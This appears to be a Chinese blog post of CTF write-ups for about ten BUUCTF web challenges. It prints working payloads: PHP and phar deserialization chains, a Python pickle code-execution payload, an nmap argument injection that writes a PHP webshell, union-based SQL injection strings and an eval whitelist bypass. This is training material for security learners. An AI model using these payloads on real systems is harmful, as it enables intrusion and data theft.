BUUCTF WEB(12月刷题~)

BUUCTF WEB(12月刷题~)

emmmm,学习是要学习的,该记录的也得记录,,
就记录一下最近在BUUCTF上刷的题目吧,只求扩展一下自己的知识面,,,

BUUCTF WEB [RoarCTF 2019]Easy Java

进入页面得到一个登录页面和help页面:
在这里插入图片描述
help页面有一个filename的参数,不过貌似没什么用,,,,
在这里插入图片描述
尝试登陆!!!跑一下弱密码,账户:admin,得到弱密码admin888
登陆进去发现提示flag不在这里,,,
在这里插入图片描述
然后找了半天,没找到任何东西,,,源码也没有什么,,,
回到help页面,,,filename参数不论传入什么都不起作用,,,,
在这里插入图片描述
换一种参数进行尝试,发现要POST传递一个filename时才能有文件内容显示,否则报一个500错误:
在这里插入图片描述
根据报错信息我们可以得知服务器类型以及版本信息:Apache Tomcat/8.5.24
一般用java做过网站的都知道有一个WEB-INF目录,,,它是java的web应用的安全目录,包含以下目录及文件:

/WEB-INF/web.xml:				Web应用程序的配置文件
/WEB-INF/classes/:				包含站点所有的class文件
/WEB-INF/lib/:					存放需要的jar文件
/WEB-INF/src/:					源码目录
/WEB-INF/database.properties:	数据库配置文件

我们尝试读取配置文件,web.xml:
在这里插入图片描述
发现一个疑似flag存放的目录,,,
进行读取,发现一串base64的字符串:
在这里插入图片描述
进行解码得到flag:
在这里插入图片描述
emmmm,这能说这道题目是真的坑,,,,
首先你的了解java搭建的目录结构,其次还有传递方式的转变!
所以web真的太难了啊!!!!!!

BUUCTF WEB [0CTF 2016]piapiapia

打开页面是一个登录页面,还有一个可爱的小猫,,,越看越有意思,,,
在这里插入图片描述
尝试登陆,失败,,,,,查看源码,,,,无果
查看robots.txt没有,发现存在源码泄露,,www.zip,下载下来可看见文件目录:
在这里插入图片描述
看到class.php就感觉存在序列化,,,,都查看一下源码
class.php中基本都是数据库增加修改语句,,,发现存在过滤函数:
在这里插入图片描述
config.php中应该是存放着flag:
在这里插入图片描述
发现profile.php中存在文件读取,还有反序列化:
在这里插入图片描述
到这里我们应该知道要做啥了,就是需要我们通过这里来进行读取config.php中的内容
不过我们该如何控制$profile[‘photo’]中的内容为config.php呢???

再看看update.php中内容:
在这里插入图片描述
发现在这里我们好像能够控制$profile[‘photo’]中的内容!!!
其实这道题目是利用php反序列化长度变化尾部字符串逃逸漏洞,,,,
首先来看看反序列化的规则,构造如下代码:

$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:0:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(4) {
  ["phone"]=>
  string(5) "admin"
  ["email"]=>
  string(10) "[email protected]"
  ["nickname"]=>
  string(0) ""
  ["photo"]=>
  string(10) "config.php"
}

会发现;}之后的都没有起作用!!而且还有一点,,,
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的
只要整个字符串的前一部分能够成功反序列化,那么就能够序列化成功!!!
如下代码:

$b = 'a:2:{i:0;s:5:"phone";i:1;s:8:"admin123";}123"}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(2) {
  [0]=>
  string(5) "phone"
  [1]=>
  string(8) "admin123"
}

知道这些东西就好办了呀,我们可以构造nickname为数组,然后我们再构造photo为:";}s:5:"photo";s:10:"config.php";}
这样我们所构造的payload就变成了如下:

$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);

输出结果:
array(4) {
  ["phone"]=>
  string(5) "admin"
  ["email"]=>
  string(10) "[email protected]"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(0) ""
  }
  ["photo"]=>
  string(10) "config.php"
}

可以清楚看见photo变成了config.php!!!而且nickname变成数组还可以绕过如下过滤:
在这里插入图片描述
但是我们传输的时候长度是不变的怎么办??其实我们可以看见class.php中的那里会把where变成hacker
这样我们就可以多一个字符出来利用!!构造34个where,刚好可以把";}s:5:"photo";s:10:"config.php";}挤出来
使之能够执行!!!到这里就可以去做题目了!!!!
已知有个注册页面,先注册一个用户,,注册完需要我们更新信息,,,直接抓包:
在这里插入图片描述
然后直接构造:
在这里插入图片描述
之后访问profile.php可以看见:
在这里插入图片描述
解码得到flag:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{9ce293cc-273b-4d97-ba44-036a5cde57e0}';
?>

BUUCTF WEB [CISCN2019 华北赛区 Day1 Web1]Dropbox

打开页面需要登陆,OK,先注册一个直接登陆,发现有个文件上传:
在这里插入图片描述
尝试上传shell,上传成功但是没有显示,而且路径也不知道:
在这里插入图片描述
上传图片有显示,,,,,还有个删除和下载,删除就直接删除了,下载就是直接下载文件,,,,
下载文件直接抓包!!发现存在任意文件下载:
在这里插入图片描述
把能下载的文件全部都下载下来看看,,,,
class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

还看了下upload.php:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

emmmmm,还是不知道路径,,,,不抱希望上传能够成功了,,,,
看了题目有个提示phar,,,利用 phar 拓展 php 反序列化漏洞攻击面
看了看class.php,发现File类有个文件包含:
在这里插入图片描述
在User类中调用了该方法:
在这里插入图片描述
不过可以看见这里没有显示,就算获取到了文件内容也看不见文件内容,,,,
再看看FileList类:
在这里插入图片描述
有个__call魔术方法,还有__destruct魔术方法,__destruct魔术方法中会打印内容,关键是调用__call魔术方法
__call魔术方法触发时机:把对象当作函数调用的时候自动触发!!!
所以我们就可以构造一个完整的利用链:

$this->db = new FileList(),让它调用close,然后它会调用__call(),最后调用 __destruct()函数就会打印出结果!!

phar内容:

<?php
	class User{
		public $db;
	}
	class File{
		public $filename;
	}
	class FileList{
		private $files;
		public function __construct(){
			$file = new File();
			$file->filename = "/flag.txt";
			$this->files = array($file);
		}
	}

	$a = new User();
	$a->db = new FileList();

	$phar = new Phar("1.phar");
	$phar->startBuffering();
	$phar->setStub("<?php __HALT_COMPILER(); ?>");
	$phar->setMetadata($a);
	$phar->addFromString("test.txt","test");
	$phar->stopBuffering();
?>

运行PHP文件得到一个1.phar文件,(ps:这里的flag路径全靠猜,,,,)
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
在这里插入图片描述
将文件改名为1.jpg,进行上传,上传成功:
在这里插入图片描述
因为delete.php中有unlink,所以在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化:
在这里插入图片描述
点击删除时进行抓包,修改filename,得到flag:
在这里插入图片描述

BUUCTF WEB [CISCN2019 华北赛区 Day1 Web2]ikun

打开页面可以发现:
在这里插入图片描述
先注册一个用户名登录!!
在这里插入图片描述
然后找lv6,找了半天没找到,发现有500个页面,,,,
直接写脚本进行搜索:

import requests

url = "http://6bfa3315-d199-4531-bf0a-19cac97100fd.node3.buuoj.cn/shop?page="

for i in range(0,500):
	urls = url + str(i)
	f = requests.get(urls)
	print(urls)
	if "lv6.png" in f.text:
		print(i)
		break

得到结果:
在这里插入图片描述
太贵了呀,,,买不起!!!
在这里插入图片描述
抓包看看,发现有价格和折扣:
在这里插入图片描述
修改价格或者折扣为0发现都不行,,,,,将折扣修改为一个很小的数成功:
在这里插入图片描述
访问发现:
在这里插入图片描述
可以从之前的包中看见有JWT,,,,这里应该包含了用户名!!
用在线工具https://jwt.io/解一下:
在这里插入图片描述
事实确实如此!包含了我们的用户名,我们得想办法把用户名变成admin,,,,
利用工具破解密钥:

git clone "https://github.com/brendan-rius/c-jwt-cracker"
apt-get install libssl-dev
make

得到密钥1Kun
在这里插入图片描述
得到加密之后的字符串

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

在这里插入图片描述
然后抓包修改JWT,得到:
在这里插入图片描述
访问,下载源码:
在这里插入图片描述
发现是python搭的网站,自闭,python代码审计,,,这谁顶得住啊!!!!
看到setting.py中有admin的密码,还有个hint,,,
在这里插入图片描述
说明在买lv6那里有问题,,,,,,
最后找到了那个页面,,,,,
在这里插入图片描述
在这里插入图片描述
可以看见有一个反序列化,,,,,become,,,我们抓包也可以看见:
在这里插入图片描述
Python反序列化漏洞的花式利用
照着大佬的脚本写了一个:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import pickle
import urllib

class test(object):
    def __reduce__(self):
        return (os.system,('cat /flag.txt',))

payload=pickle.dumps(test())
payload=urllib.quote(payload)

print payload

输入之后发现没有回显,,,,,,
在这里插入图片描述
这到底是为什么????emmmm,原来没有导入os模块,都不能执行,,,,,沙雕,,,
这样写才会有显示:

import pickle
import urllib

class test(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

payload=pickle.dumps(test())
payload=urllib.quote(payload)

print payload

得到payload:

payload:
become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

得到flag:
在这里插入图片描述

BUUCTF WEB [BUUCTF 2018]Online Tool

打开页面可以得到源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

看见有两个没见过的函数:

$host = escapeshellarg($host);
$host = escapeshellcmd($host);

而且会传入进行一个system命令执行!!!!估计就是要我们进行命令执行!!!
百度直接找这里两个函数,escapeshellarg:
在这里插入图片描述
escapeshellcmd:
在这里插入图片描述
两个一起搜找到一个漏洞:PHP escapeshellarg()+escapeshellcmd() 之殇
可以加个单引号进行测试一下:

<?php
$host = "ls' -l -a";
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

echo $host;
?>

运行结果:
'ls'\\'' -l -a\'

所以我们可以在我们要构造的恶意代码之前加个单引号就行!!!
可以看见执行的是nmap命令,所以我们需要使用-oG指令,-oG可以实现将命令和结果写到文件
payload:

' <?php @eval($_GET["cmd"]);?> -oG cmd.php '

然后进行利用get参数进行文件读取即可:

http://f4096665-98ba-47f6-a685-441d4e311931.node3.buuoj.cn/5baa675a135f7fedcf701db7408e614f/cmd.php?cmd=system(%22cat%20/flag%22);

得到flag:
在这里插入图片描述

BUUCTF WEB [ZJCTF 2019]NiZhuanSiWei

打开页面可以看见源码:

<?php   
$text = $_GET["text"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 
    if(preg_match("/flag/",$file)){ 
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password); 
        echo $password; 
    } 
} 
else{ 
    highlight_file(__FILE__); 
} 
?>

题目做的多了,看到(file_get_contents($text,'r')==="welcome to the zjctf")就觉得利用php://input协议进行绕过
(好像还有一种data://text/plain协议可以绕过)
然后看见还有一个useless.php,有个include函数包含file参数,想到利用文件包含漏洞,,
直接进行抓包构造:
在这里插入图片描述
绕过成功,成功得到useless.php源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

由于file参数过滤了flag,所以我们不能包含flag.php文件,只能另想他法,,
我们可以看见class类中存在文件读取!!!应该是要我们进行反序列化的利用,,,
是的存在反序列化!!!需要我们进行构造password参数,,,
编写php代码:

<?php
class Flag{
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        	return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}

$a = new Flag();
echo serialize($a);
?>

输出结果:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

直接进行构造,得到flag:
在这里插入图片描述

BUUCTF WEB shrine

详解flask的ssti模版注入
SSTI/沙盒逃逸详细总结
题解
参考

BUUCTF WEB [SWPU2019]Web1

emmmm,想到SWPU这个比赛就心累,,,就做了几道misc,,,,怎么这么菜啊,
这道题是一道sql注入的题目,,,,注入点在广告标题,,,不过过滤了or,
非常严格,不能绕过,所以使得information.schema也不能使用
我们使用常规注入语句可以发现空格被过滤了,or在写入的时候就不能写入,,,
空格可以使用/**/绕过,,,经过尝试发现有22个列名,这时候不会报错:
在这里插入图片描述
发现2,3位置存在回显:
在这里插入图片描述
由于过滤了or所以常规的方法不起作用了,,,这道题的考点应该就是bypass information_schema
找到了一篇文件,关于bypass information_schema进行注入的:聊一聊bypass information_schema
schema_auto_increment_columns和schema_table_statistics_with_buffer
不过一般要超级管理员才可以访问sys,,,,
构造如下语句:

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到一个提示,这个不存在,看来是没有权限,,,:
在这里插入图片描述
之后无从下手,,,后面又找了一下wp,,,
在一个wp中看到了一个新的方法???利用mysql.innodb_table_stats表!!
看看官方链接:mysql.innodb_table_stats是可以的!!
构造如下语句:

1'/**/union/**/select/**/1,((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到表名:
在这里插入图片描述
虽说我们得到了表名,,but我们不知到列名,,,这时候可以使用无列名注入,,,,
关于无列名注入可以看看这篇文章:不知道列名的情况下注入
这样我们就可以构造语句了!!经过尝试,flag在users表中,,,,:

1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到flag:
在这里插入图片描述

BUUCTF WEB [极客大挑战 2019]BuyFlag

难题做多了,来一道简单的题目吧,啊哈哈哈,即可没见过这道题,,
到payflag页面,发现有个源码和提示:

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

根据提示我们进行构造,money不能写100000000否则会说太长了
构造的payload如下,得到flag:
在这里插入图片描述

BUUCTF WEB [CISCN 2019 初赛]Love Math

打开页面可以得到源代码:

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);   
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 
} 

代码审计,需要我们绕过构造函数读取flag,,,,
可以看见没有过滤$符号,,不过其他字符都过滤了所以我们不能直接构造$_GET,[]被过滤了我们可以使用{}代替
想想看能不能构造类似于$_GET{1}($_GET{2})的格式,由于过滤了字母,我们可以利用函数进行转变
base_convert()函数,10转36进制会出现26个字母!!
在这里插入图片描述
所以我们可以利用这个函数进行构造,,,虽说过滤了字母,但是函数名是可以当做变量进行传递的
传递?c=$abs是不会报错的,所以我们可以看见里面最短的是pi和abs、cos、exp等
由于还存在下划线,所以我们还需要用到hex2bin()函数,,,

<?php
$f = "bin2hex";
$pi=$f("_GET");
echo $pi.'-----';

$pi = base_convert(37907361743,10,36);
echo $pi("5f474554");
?>

输出结果:
5f474554-----_GET

这样我们是能够得到_GET的,不过16进制有字母,还是不行,需要利用dechex函数进行转换

$pi = base_convert(37907361743,10,36)(dechex(1598506324));
结果:_GET

所以我们就可以构造了!最后构造的payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs});

长度刚刚好80,,,,去掉最后的分号刚刚好,79,,,
在这里插入图片描述
直接进行flag读取即可!!!
其实这道题很多payload,比较可以构造的函数那么多,还可以利用getallheaders()函数进行http恶意参数构造,,
也可以直接构造system进行读取,不在过多说了,,,

发布了206 篇原创文章 · 获赞 130 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/103619509